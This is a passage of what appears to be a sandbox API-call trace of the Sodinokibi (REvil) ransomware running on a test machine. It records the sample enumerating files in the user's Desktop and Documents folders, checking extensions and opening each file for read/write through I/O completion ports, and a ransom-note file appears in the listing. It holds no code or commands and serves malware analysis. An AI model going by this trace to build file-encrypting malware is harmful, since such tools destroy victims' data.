(HeapHandle=0x3880000, Flags=0x8, Size=0x1281c) returned 0x391fa00 [0110.620] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\OiotT.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\oiott.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x2e8 [0110.620] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x52) returned 0x2069960 [0110.622] CreateIoCompletionPort (FileHandle=0x2e8, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.622] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x391fa00) returned 1 [0110.622] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eb3cf80, ftCreationTime.dwHighDateTime=0x1d757aa, ftLastAccessTime.dwLowDateTime=0xef653210, ftLastAccessTime.dwHighDateTime=0x1d75ac6, ftLastWriteTime.dwLowDateTime=0xef653210, ftLastWriteTime.dwHighDateTime=0x1d75ac6, nFileSizeHigh=0x0, nFileSizeLow=0x10a1, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="OpD19Ox-5GJ.mp3", cAlternateFileName="OPD19O~1.MP3")) returned 1 [0110.622] PathFindExtensionW (pszPath="opd19ox-5gj.mp3") returned=".mp3" [0110.622] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x11f1) returned 0x397e7d0 [0110.622] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\OpD19Ox-5GJ.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\opd19ox-5gj.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x2a4 [0110.622] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x5e) returned 0x2086160 [0110.658] CreateIoCompletionPort (FileHandle=0x2a4, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.658] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x397e7d0) returned 1 [0110.658] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d2ffdb0, ftCreationTime.dwHighDateTime=0x1d74e2b, ftLastAccessTime.dwLowDateTime=0x2115e130, ftLastAccessTime.dwHighDateTime=0x1d7539a, ftLastWriteTime.dwLowDateTime=0x2115e130, ftLastWriteTime.dwHighDateTime=0x1d7539a, nFileSizeHigh=0x0, nFileSizeLow=0x12444, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="PiM1499-bCIJI-DrwX.flv", cAlternateFileName="PIM149~1.FLV")) returned 1 [0110.658] PathFindExtensionW (pszPath="pim1499-bciji-drwx.flv") returned=".flv" [0110.658] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x12594) returned 0x3932228 [0110.660] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\PiM1499-bCIJI-DrwX.flv" (normalized: "c:\\users\\keecfmwgj\\desktop\\pim1499-bciji-drwx.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x2f8 [0110.660] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x6c) returned 0x30ee710 [0110.661] CreateIoCompletionPort (FileHandle=0x2f8, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.661] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x3932228) returned 1 [0110.661] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d738bc0, ftCreationTime.dwHighDateTime=0x1d74ccb, ftLastAccessTime.dwLowDateTime=0x32d91da0, ftLastAccessTime.dwHighDateTime=0x1d750a3, ftLastWriteTime.dwLowDateTime=0x32d91da0, ftLastWriteTime.dwHighDateTime=0x1d750a3, nFileSizeHigh=0x0, nFileSizeLow=0xf5e1, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="QGtBVOCQPa2FltB11SX3.avi", cAlternateFileName="QGTBVO~1.AVI")) returned 1 [0110.661] PathFindExtensionW (pszPath="qgtbvocqpa2fltb11sx3.avi") returned=".avi" [0110.661] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0xf731) returned 0x39447c8 [0110.662] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\QGtBVOCQPa2FltB11SX3.avi" (normalized: "c:\\users\\keecfmwgj\\desktop\\qgtbvocqpa2fltb11sx3.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x2f4 [0110.663] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x70) returned 0x30ee698 [0110.664] CreateIoCompletionPort (FileHandle=0x2f4, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.664] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x39447c8) returned 1 [0110.664] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcca22c00, ftCreationTime.dwHighDateTime=0x1d77025, ftLastAccessTime.dwLowDateTime=0xcca22c00, ftLastAccessTime.dwHighDateTime=0x1d77025, ftLastWriteTime.dwLowDateTime=0x8d71dc00, ftLastWriteTime.dwHighDateTime=0x1d77021, nFileSizeHigh=0x0, nFileSizeLow=0x48800, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="sodinokibi.exe", cAlternateFileName="SODINO~1.EXE")) returned 1 [0110.664] PathFindExtensionW (pszPath="sodinokibi.exe") returned=".exe" [0110.664] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12e20490, ftCreationTime.dwHighDateTime=0x1d755b6, ftLastAccessTime.dwLowDateTime=0xe2800c40, ftLastAccessTime.dwHighDateTime=0x1d75c84, ftLastWriteTime.dwLowDateTime=0xe2800c40, ftLastWriteTime.dwHighDateTime=0x1d75c84, nFileSizeHigh=0x0, nFileSizeLow=0x15735, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="SzGI6-l46QfkV6r.avi", cAlternateFileName="SZGI6-~1.AVI")) returned 1 [0110.664] PathFindExtensionW (pszPath="szgi6-l46qfkv6r.avi") returned=".avi" [0110.664] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x15885) returned 0x3953f08 [0110.666] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\SzGI6-l46QfkV6r.avi" (normalized: "c:\\users\\keecfmwgj\\desktop\\szgi6-l46qfkv6r.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x2fc [0110.666] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x66) returned 0x2068190 [0110.667] CreateIoCompletionPort (FileHandle=0x2fc, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.667] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x3953f08) returned 1 [0110.667] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x189e9a30, ftCreationTime.dwHighDateTime=0x1d750e1, ftLastAccessTime.dwLowDateTime=0x451a0140, ftLastAccessTime.dwHighDateTime=0x1d75c20, ftLastWriteTime.dwLowDateTime=0x451a0140, ftLastWriteTime.dwHighDateTime=0x1d75c20, nFileSizeHigh=0x0, nFileSizeLow=0x1118, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="whesQdnUMwd_xm-th3g0.gif", cAlternateFileName="WHESQD~1.GIF")) returned 1 [0110.668] PathFindExtensionW (pszPath="whesqdnumwd_xm-th3g0.gif") returned=".gif" [0110.668] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x1268) returned 0x3969798 [0110.668] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\whesQdnUMwd_xm-th3g0.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\whesqdnumwd_xm-th3g0.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x300 [0110.668] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x70) returned 0x30ee620 [0110.669] CreateIoCompletionPort (FileHandle=0x300, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.669] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x3969798) returned 1 [0110.669] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1ebcb70, ftCreationTime.dwHighDateTime=0x1d74e19, ftLastAccessTime.dwLowDateTime=0x56f86e20, ftLastAccessTime.dwHighDateTime=0x1d75297, ftLastWriteTime.dwLowDateTime=0x56f86e20, ftLastWriteTime.dwHighDateTime=0x1d75297, nFileSizeHigh=0x0, nFileSizeLow=0x17791, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="z8iHCh.bmp", cAlternateFileName="")) returned 1 [0110.669] PathFindExtensionW (pszPath="z8ihch.bmp") returned=".bmp" [0110.669] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x178e1) returned 0x44a0048 [0110.671] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\z8iHCh.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\z8ihch.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x304 [0110.672] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x54) returned 0x20699c0 [0110.673] CreateIoCompletionPort (FileHandle=0x304, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.673] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x44a0048) returned 1 [0110.673] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7626ed30, ftCreationTime.dwHighDateTime=0x1d7594f, ftLastAccessTime.dwLowDateTime=0xf0941900, ftLastAccessTime.dwHighDateTime=0x1d759b1, ftLastWriteTime.dwLowDateTime=0xf0941900, ftLastWriteTime.dwHighDateTime=0x1d759b1, nFileSizeHigh=0x0, nFileSizeLow=0x686c, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="_ CcZccljq.mkv", cAlternateFileName="_CCZCC~1.MKV")) returned 1 [0110.673] PathFindExtensionW (pszPath="_ cczccljq.mkv") returned=".mkv" [0110.673] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x69bc) returned 0x396aa08 [0110.674] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\_ CcZccljq.mkv" (normalized: "c:\\users\\keecfmwgj\\desktop\\_ cczccljq.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x308 [0110.674] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x5c) returned 0x20861c8 [0110.676] CreateIoCompletionPort (FileHandle=0x308, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.676] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x396aa08) returned 1 [0110.676] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7626ed30, ftCreationTime.dwHighDateTime=0x1d7594f, ftLastAccessTime.dwLowDateTime=0xf0941900, ftLastAccessTime.dwHighDateTime=0x1d759b1, ftLastWriteTime.dwLowDateTime=0xf0941900, ftLastWriteTime.dwHighDateTime=0x1d759b1, nFileSizeHigh=0x0, nFileSizeLow=0x686c, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="_ cczccljq.mkv", cAlternateFileName="_CCZCC~1.MKV")) returned 0 [0110.676] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0110.676] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20670e0) returned 1 [0110.676] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040000) returned 1 [0110.676] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x3c41040, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c41040, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0110.676] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x3c41040, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c41040, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0110.676] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb21df730, ftCreationTime.dwHighDateTime=0x1d7554d, ftLastAccessTime.dwLowDateTime=0x3ffe8f70, ftLastAccessTime.dwHighDateTime=0x1d756f6, ftLastWriteTime.dwLowDateTime=0x3ffe8f70, ftLastWriteTime.dwHighDateTime=0x1d756f6, nFileSizeHigh=0x0, nFileSizeLow=0xdb0a, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="-5MKPFwyZwdE.docx", cAlternateFileName="-5MKPF~1.DOC")) returned 1 [0110.676] PathFindExtensionW (pszPath="-5mkpfwyzwde.docx") returned=".docx" [0110.677] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0xdc5a) returned 0x44b7938 [0110.677] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\-5MKPFwyZwdE.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\-5mkpfwyzwde.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x30c [0110.678] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x66) returned 0x2068200 [0110.679] CreateIoCompletionPort (FileHandle=0x30c, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.679] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x44b7938) returned 1 [0110.679] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c41040, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x3c41040, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c43750, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0110.679] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaf9cba0, ftCreationTime.dwHighDateTime=0x1d75528, ftLastAccessTime.dwLowDateTime=0x7cbef410, ftLastAccessTime.dwHighDateTime=0x1d756fe, ftLastWriteTime.dwLowDateTime=0x7cbef410, ftLastWriteTime.dwHighDateTime=0x1d756fe, nFileSizeHigh=0x0, nFileSizeLow=0x4433, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="07Y-vNHiW6TBEU.odp", cAlternateFileName="07Y-VN~1.ODP")) returned 1 [0110.679] PathFindExtensionW (pszPath="07y-vnhiw6tbeu.odp") returned=".odp" [0110.679] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x4583) returned 0x39713d0 [0110.680] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\07Y-vNHiW6TBEU.odp" (normalized: "c:\\users\\keecfmwgj\\documents\\07y-vnhiw6tbeu.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x310 [0110.680] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x68) returned 0x2068270 [0110.681] CreateIoCompletionPort (FileHandle=0x310, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.681] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x39713d0) returned 1 [0110.681] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23a43ef0, ftCreationTime.dwHighDateTime=0x1d75ac6, ftLastAccessTime.dwLowDateTime=0x516a3a00, ftLastAccessTime.dwHighDateTime=0x1d75b26, ftLastWriteTime.dwLowDateTime=0x516a3a00, ftLastWriteTime.dwHighDateTime=0x1d75b26, nFileSizeHigh=0x0, nFileSizeLow=0xc3ad, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="0ZUqqrgO.ppt", cAlternateFileName="")) returned 1 [0110.681] PathFindExtensionW (pszPath="0zuqqrgo.ppt") returned=".ppt" [0110.681] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0xc4fd) returned 0x44c55a0 [0110.682] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\0ZUqqrgO.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\0zuqqrgo.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x314 [0110.683] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x5c) returned 0x2086230 [0110.684] CreateIoCompletionPort (FileHandle=0x314, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.684] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x44c55a0) returned 1 [0110.684] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55bd0460, ftCreationTime.dwHighDateTime=0x1d71c93, ftLastAccessTime.dwLowDateTime=0xcdac0290, ftLastAccessTime.dwHighDateTime=0x1d747af, ftLastWriteTime.dwLowDateTime=0xcdac0290, ftLastWriteTime.dwHighDateTime=0x1d747af, nFileSizeHigh=0x0, nFileSizeLow=0xaf05, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="3ozabK9D.pptx", cAlternateFileName="3OZABK~1.PPT")) returned 1 [0110.684] PathFindExtensionW (pszPath="3ozabk9d.pptx") returned=".pptx" [0110.684] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0xb055) returned 0x44d1aa8 [0110.685] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\3ozabK9D.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\3ozabk9d.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x318 [0110.685] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x5e) returned 0x2086298 [0110.687] CreateIoCompletionPort (FileHandle=0x318, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.687] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x44d1aa8) returned 1 [0110.687] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7953d0, ftCreationTime.dwHighDateTime=0x1d753dd, ftLastAccessTime.dwLowDateTime=0x7741c810, ftLastAccessTime.dwHighDateTime=0x1d759c8, ftLastWriteTime.dwLowDateTime=0x7741c810, ftLastWriteTime.dwHighDateTime=0x1d759c8, nFileSizeHigh=0x0, nFileSizeLow=0xc7e9, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="4cdMBjwoKg.odt", cAlternateFileName="4CDMBJ~1.ODT")) returned 1 [0110.687] PathFindExtensionW (pszPath="4cdmbjwokg.odt") returned=".odt" [0110.687] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0xc939) returned 0x44dcb08 [0110.690] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\4cdMBjwoKg.odt" (normalized: "c:\\users\\keecfmwgj\\documents\\4cdmbjwokg.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x31c [0110.690] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x60) returned 0x2086300 [0110.691] CreateIoCompletionPort (FileHandle=0x31c, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.691] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x44dcb08) returned 1 [0110.691] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85979960, ftCreationTime.dwHighDateTime=0x1d74cdc, ftLastAccessTime.dwLowDateTime=0xfec3cf70, ftLastAccessTime.dwHighDateTime=0x1d75b91, ftLastWriteTime.dwLowDateTime=0xfec3cf70, ftLastWriteTime.dwHighDateTime=0x1d75b91, nFileSizeHigh=0x0, nFileSizeLow=0xcfbf, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="5hmdrIDHtVpR.ots", cAlternateFileName="5HMDRI~1.OTS")) returned 1 [0110.691] PathFindExtensionW (pszPath="5hmdridhtvpr.ots") returned=".ots" [0110.691] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0xd10f) returned 0x3880590 [0110.692] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\5hmdrIDHtVpR.ots" (normalized: "c:\\users\\keecfmwgj\\documents\\5hmdridhtvpr.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x320 [0110.692] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x64) returned 0x20682e0 [0110.693] CreateIoCompletionPort (FileHandle=0x320, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.693] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x3880590) returned 1 [0110.693] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54d33140, ftCreationTime.dwHighDateTime=0x1d706f5, ftLastAccessTime.dwLowDateTime=0xb4e08b40, ftLastAccessTime.dwHighDateTime=0x1d75cf0, ftLastWriteTime.dwLowDateTime=0xb4e08b40, ftLastWriteTime.dwHighDateTime=0x1d75cf0, nFileSizeHigh=0x0, nFileSizeLow=0x48e5, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="6cY9G.xlsx", cAlternateFileName="6CY9G~1.XLS")) returned 1 [0110.693] PathFindExtensionW (pszPath="6cy9g.xlsx") returned=".xlsx" [0110.693] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x4a35) returned 0x3975960 [0110.694] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\6cY9G.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\6cy9g.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x324 [0110.694] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x58) returned 0x2069a20 [0110.696] CreateIoCompletionPort (FileHandle=0x324, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.696] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x3975960) returned 1 [0110.696] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ef08e80, ftCreationTime.dwHighDateTime=0x1d74de0, ftLastAccessTime.dwLowDateTime=0x70d7ebd0, ftLastAccessTime.dwHighDateTime=0x1d75955, ftLastWriteTime.dwLowDateTime=0x70d7ebd0, ftLastWriteTime.dwHighDateTime=0x1d75955, nFileSizeHigh=0x0, nFileSizeLow=0xd956, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="6Lo4VggeyxcF04AJM4nt.pptx", cAlternateFileName="6LO4VG~1.PPT")) returned 1 [0110.696] PathFindExtensionW (pszPath="6lo4vggeyxcf04ajm4nt.pptx") returned=".pptx" [0110.696] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0xdaa6) returned 0x44e9450 [0110.697] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\6Lo4VggeyxcF04AJM4nt.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\6lo4vggeyxcf04ajm4nt.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, 